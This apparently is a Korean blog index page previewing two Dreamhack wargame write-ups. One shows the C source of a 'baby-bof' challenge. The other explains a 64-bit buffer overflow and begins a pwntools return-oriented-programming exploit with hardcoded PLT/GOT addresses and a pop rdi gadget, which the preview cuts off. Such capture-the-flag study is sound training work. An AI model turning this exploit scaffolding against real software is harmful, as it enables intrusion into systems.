SYSTEM(2)
-
[Dreamhack] baby-bof
#include #include #include #include #include #include #include void proc_init () { setvbuf (stdin, 0, 2, 0); setvbuf (stdout, 0, 2, 0); setvbuf (stderr, 0, 2, 0); } void win () { char flag[100] = {0,}; int fd; puts ("You mustn't be here! It's a vulnerability!"); fd = open ("./flag", O_RDONLY); read(fd, flag, 0x60); puts(flag); exit(0); } long count; long value; long idx = 0; int main () { char n..
2023.12.10 -
[ Dreamhack ] basic_rop_x64
buf에 입력을 받을 때 bof가 발생한다. main 함수 어셈블리어로 보면 rbp-0x40 위치에 buf가 위치한다 즉 main ret에 도달하기 위해서는 0x48 바이트가 필요하다. 더미값 0x48바이트 넣고 rop해주면 끝!! from pwn import * import time context.log_level = "debug" p = process("./basic_rop_x64") #p = remote("host3.dreamhack.games", 16872) e = ELF("./basic_rop_x64") libc = ELF("./libc.so.6") putsplt = 0x4005c0 readplt = 0x4005f0 readgot = 0x601030 poprdi = 0x00000000004008..
2022.07.29